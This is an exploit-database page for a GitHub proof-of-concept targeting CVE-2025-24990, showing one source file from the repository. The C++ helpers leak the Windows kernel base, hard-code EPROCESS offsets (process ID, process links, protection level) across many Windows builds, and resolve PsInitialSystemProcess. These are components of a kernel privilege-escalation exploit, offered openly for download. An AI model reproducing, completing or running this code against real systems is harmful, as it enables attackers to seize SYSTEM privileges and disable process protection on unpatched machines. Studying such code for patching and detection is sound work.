Exploit database

GH-563ec433147d447084baf424892803df

moiz-2x/cve-2025-24990_poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-24990

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files10
moiz-2x/cve-2025-24990_pocRevision 6409c4872b19

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src_ioring/utils.cpp

C++ · 5,987 bytes
#include "utils.h"
#include"ntdll.h"
PVOID get_kbase()
{
    NTSTATUS status;
    PRTL_PROCESS_MODULES ModuleInfo = nullptr;
	PVOID base = 0;
    ModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL, 1024 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!ModuleInfo)
    {
        errorW(L"\n[-] Unable to allocate memory for module list (%d)\n", GetLastError());
        goto Exit;
    }

    status = NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, 1024 * 1024, NULL);
    if (!NT_SUCCESS(status))
    {
        errorW(L"Error: Unable to query module list (%#x)\n", status);
        goto Exit;
    }
    base = ModuleInfo->Modules[0].ImageBase;
    if (base == 0)
    {
        errorW(L"Faild to get kernelbase\n");
    }
Exit:
    if (ModuleInfo != nullptr) VirtualFree(ModuleInfo, 0, MEM_RELEASE);
    return base;
}

bool get_offsets(Offsets* g_Offsets)
{
    bool ret = false;
    BOOL bSTATE = TRUE;
    HMODULE	hNTDLL = NULL;      
    RTL_OSVERSIONINFOW versionInfo = { 0 };
    versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);

    // Call RtlGetVersion to get the Windows version
    if (RtlGetVersion(&versionInfo) != 0)
    {
        errorW(L"[-] Failed to get Windows version.\n");
        goto lab_ret;
    }

    // Get the offsets for UniqueProcessIdOffset and ActiveProcessLinksOffset
    if (versionInfo.dwBuildNumber == 3790) {
        g_Offsets->UniqueProcessIdOffset = 0xd8;
        g_Offsets->ActiveProcessLinksOffset = 0xe0;
    }
    else if (versionInfo.dwBuildNumber == 6000 || versionInfo.dwBuildNumber == 6001 || versionInfo.dwBuildNumber == 6002) {
        g_Offsets->UniqueProcessIdOffset = 0xe0;
        g_Offsets->ActiveProcessLinksOffset = 0xe8;
    }
    else if (versionInfo.dwBuildNumber == 7600 || versionInfo.dwBuildNumber == 7601) {
        g_Offsets->UniqueProcessIdOffset = 0x180;
        g_Offsets->ActiveProcessLinksOffset = 0x188;
    }
    else if (versionInfo.dwBuildNumber == 9200) {
        g_Offsets->UniqueProcessIdOffset = 0x2e0;
        g_Offsets->ActiveProcessLinksOffset = 0x2e8;
    }
    else if (versionInfo.dwBuildNumber >= 9200 && versionInfo.dwBuildNumber <= 9600) {
        g_Offsets->UniqueProcessIdOffset = 0x2e0;
        g_Offsets->ActiveProcessLinksOffset = 0x2e8;
    }
    else if (versionInfo.dwBuildNumber >= 10240 && versionInfo.dwBuildNumber <= 14393) {
        g_Offsets->UniqueProcessIdOffset = 0x2e8;
        g_Offsets->ActiveProcessLinksOffset = 0x2f0;
    }
    else if (versionInfo.dwBuildNumber >= 15063 && versionInfo.dwBuildNumber <= 17763) {
        g_Offsets->UniqueProcessIdOffset = 0x2e0;
        g_Offsets->ActiveProcessLinksOffset = 0x2e8;
    }
    else if (versionInfo.dwBuildNumber == 18362) {
        g_Offsets->UniqueProcessIdOffset = 0x2e8;
        g_Offsets->ActiveProcessLinksOffset = 0x2f0;
    }
    else if (versionInfo.dwBuildNumber >= 19041 && versionInfo.dwBuildNumber <= 22631) {
        g_Offsets->UniqueProcessIdOffset = 0x440;
        g_Offsets->ActiveProcessLinksOffset = 0x448;
    }
    else if (versionInfo.dwBuildNumber >= 26100) {
        g_Offsets->UniqueProcessIdOffset = 0x1d0;
        g_Offsets->ActiveProcessLinksOffset = 0x1d8;
    }
    else {
        g_Offsets->UniqueProcessIdOffset = 0x0;
        g_Offsets->ActiveProcessLinksOffset = 0x0;
        return FALSE;
    }

    // Get the offsets for the Protection level
    if (versionInfo.dwBuildNumber == 9600) {
        g_Offsets->ProtectionOffset = 0x67a;
    }
    else if (versionInfo.dwBuildNumber == 10240) {
        g_Offsets->ProtectionOffset = 0x6aa;
    }
    else if (versionInfo.dwBuildNumber == 10586) {
        g_Offsets->ProtectionOffset = 0x6b2;
    }
    else if (versionInfo.dwBuildNumber == 14393) {
        g_Offsets->ProtectionOffset = 0x6c2;
    }
    else if (versionInfo.dwBuildNumber == 15063) {
        g_Offsets->ProtectionOffset = 0x6ca;
    }
    else if (versionInfo.dwBuildNumber == 16299) {
        g_Offsets->ProtectionOffset = 0x6ca;
    }
    else if (versionInfo.dwBuildNumber == 17134) {
        g_Offsets->ProtectionOffset = 0x6ca;
    }
    else if (versionInfo.dwBuildNumber == 17763) {
        g_Offsets->ProtectionOffset = 0x6ca;
    }
    else if (versionInfo.dwBuildNumber == 18362) {
        g_Offsets->ProtectionOffset = 0x6fa;
    }
    else if (versionInfo.dwBuildNumber >= 19041 && versionInfo.dwBuildNumber <= 22631) {
        g_Offsets->ProtectionOffset = 0x87a;
    }
    else if (versionInfo.dwBuildNumber >= 26100) {
        g_Offsets->ProtectionOffset = 0x5fa;
    }
    else {
        g_Offsets->ProtectionOffset = 0x0;
        return bSTATE;
    }
    ret = true;
lab_ret:
    return ret;
}

void print_offsets(Offsets* g_Offsets)
{
    infoW(L"EPROCESS Offsets:\n");
    wprintf(L"\tdwUniqueProcessId: \t\t0x%llx\n", g_Offsets->UniqueProcessIdOffset);
    wprintf(L"\tActiveProcessLinks: \t\t0x%llx\n", g_Offsets->ActiveProcessLinksOffset);
    wprintf(L"\tProtection: \t\t\t0x%llx\n", g_Offsets->ProtectionOffset);
}

DWORD64 resolve_PsInitialSystemProcess_offset()
{
    HMODULE hNtoskrnl = NULL; // Stores handle to ntoskrnl.exe
    DWORD64 PsInitialSystemProcessOffset = NULL; // Stores the PsInitialSystemProcessOffset 
    // Get handle to ntoskrnl.exe
    hNtoskrnl = LoadLibraryW(L"ntoskrnl.exe");
    if (!hNtoskrnl)
    {
        errorW(L"Can't load ntoskrnl.exe\n");
        goto lab_ret;
    }
    // Resolve offset of PsInitialSystemProcessOffset
    PsInitialSystemProcessOffset = (DWORD64)GetProcAddress(hNtoskrnl, "PsInitialSystemProcess") - (DWORD64)hNtoskrnl;
    if (!PsInitialSystemProcessOffset)
    {
        errorW(L"GetProcAddress - Failed to resolv PsInitialSystemProcess offset\n");
        goto lab_ret;
    }
lab_ret:
    if (hNtoskrnl)
    {
        FreeLibrary(hNtoskrnl);
    }
    return PsInitialSystemProcessOffset;
}